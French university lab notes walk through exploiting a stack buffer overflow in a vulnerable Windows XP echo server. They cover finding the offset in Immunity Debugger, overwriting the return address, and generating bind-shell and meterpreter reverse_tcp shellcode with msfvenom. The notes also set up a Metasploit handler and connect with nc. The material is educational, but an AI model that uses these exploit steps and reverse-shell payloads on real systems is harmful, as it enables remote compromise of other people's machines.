Académique Documents
Professionnel Documents
Culture Documents
M2 SSI Secapp C06
M2 SSI Secapp C06
M2 SSI Secapp C06
du code
Trouver la position du RET
Ouvrez la VM KALI
Nous allons utilisés notre script esploit.py
Et vous vous rappeler tout à l’heure nous avions calculé la distance des offsets
1036 et 1040 pour EIP et le sommet de pile
Ouvrez exploit.py vim exploit.py
Quelle serait la nouvelle valeur qu’on doit donner au buffer ?
Buffer = « A »*1036
Car on sait pertinemment que les 1036 premiers octets sont sans intérêt pour nous car on
s’arretera juste avant l’@ de retours
Buffer += « BBBB » #réectriture de l’@ de retours dans la pile
Buffer +=« CCCC » #ESP pointe sur cette adresse
Buffer += « D »*300
ouvrez votre serveur « echoservermemcpy » dans immunity placer votre break point
00401520 et lancer le serveur
Lancer votre exploit ./exploit.py @IP
Si vous observez la pile vous remarquerez qu’elle contient que des AAAAAAA
Qu’il y a des B à l’@ 0022FB4C
CCCC 0022FB50
Continuer l’execution jusqu’à la fin de la fonction memcpy 00401545
Si nous parcourons la pile nous constatons que la séquence « BBBB » est à l’@
0022F72C
On continue l’execution jusqu’au RETN
On constate que le sommet de la pile contient les BBBB
Le sommet de la pile contient les BBBB ce sera la prochaine valeur de EIP
La ligne svt contient les CCCC qui sera la nouvelle valeur de ESP donc le
déplacement vers le sommet de pile
Ce que je veux faire c’est que l’@ de sommet point vers la deuxième adresse de la
pile
Les données à partir du CCCC seront mon shellcode
Pour faire l’expérience cliquer avec le bouton droit sur les données du sommet de
pile et cliquer sur edit et rem placer les valeurs par l’@ de la ligne svt «30 F7 22 00 »
Cliquer sur le registre ESP avec le bouton droit follow in dump
Dans la fenêtre Hex dump cliquer avec le bouton droit sur le premier 43 « C » de la
premiere ligne Breakpoint Hardware, on execution
Lancer l’execution
Ce que nous devons faire c’est remplacer nos CCCCDDDD par un shell code tout
en maintenant l’@ de retours à sa position
Revenez vers votre script exploit.py
Remplacer l’instruction buffer +=« BBBB » par
Buffer += « \x30\xf7\x22\x00 »
On supprime les affectations suivantes du buffer et on insère notre shellcode
Vous avez le choix entre ecrire manuellement votre shellcode « pour les Geek »ou
bien utiliser un outil tel que metasploit
Revenez vers KALI
Ouvrez un nouvel onglet de votre terminal
Msfvenom –p windows/shell_bind_tcp –f c –a x86
Copier le shellecode et faites
Buffer += (« shellcode »)
Revenez vers windows XP
Relancer votre programme en gardant vos break points exécuter le
Lancer l’exploit à partir de Kali
Lancer l’execution pas à pas jusqu’au RETN
Vous remarquer que l’@ de retours pointe vers la prochaine ligne de la pile
Le shellcode commence évidemment à partir de la deuxième ligne de la pile
Revenez vers le shellcode généré tout à l’heure et vous remarquerez qu’il
commence par « \xfc\xe8\x82\x00 »
Ce qui correspond à la deuxième ligne de la pile
Cliquer avec le bouton droit sur ESP follw dump
dans la fenetre Hex dump faites un click droit sur FC disassemble et la vous aurez
le code du shellcode
Dans cette fenetre placer un break point hardware on execution à la ligne
0022F730
Lancer l’execution. Le prog va s’arreter à votre point d’arret
Vous remarquez que votre shellcode a été automatiquement desassembler et qu’il
va être automatiquement executé
On laisse le programme finir son execution
On revient vers KALI et on se connecte à XP
Nc @IP 4444
Maintenant meme si vous lancer le serveur et l’exploit en dehors de immunity vous
remarquerez que le programme ne se crache plus grace au shell injecté
Trouver la position du RET
Revenir vers le script python
Apres l’@ de retours insérer la ligne suivante
Buffer +=« \x90 »*10
Et rééxecuter le tout
Que remarquez vous ?
Les NOP « No Opération code » permettent de combler les cases mémoires vides
sans exécuter d’opérations
Exploitation avec metrepreter
On fais une copie de notre fichier exploit
Cp exploit.py exploit-meterpreter.py
On ouvre le nouveau fichier pour supprimer le shell existant
Vim exploit-meterpreter.py
On ouvre un nouvel onglet et on crée le shell meterpreter
Msfvenom –p windows/meterpreter/reverse_tcp LHOST=@ip machine attaquant –f c –a x86
Copier le shellcode généré et placer le dans le buffer de votre script
Enregistrer votre fichier
Dans un nouvel onglet Lancer metasploit #metasploit doit être installé et configuré correctement
Msfconsole
Use exploit/multi/handler
Msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
Msf exploit(handler) >set LHOST @IP
Msf exploit(handler) > exploit
Lancer le serveur sur windows
REVENEZ à l’autre fenetre et lancer exploit-meterpreter.py @IP serveur
Getuid
Sysinfo
ps
Le pb qu’on eu tout à l’heure était dû au fait que le payload handler ne
s’enclenchait pas au niveau de ma machine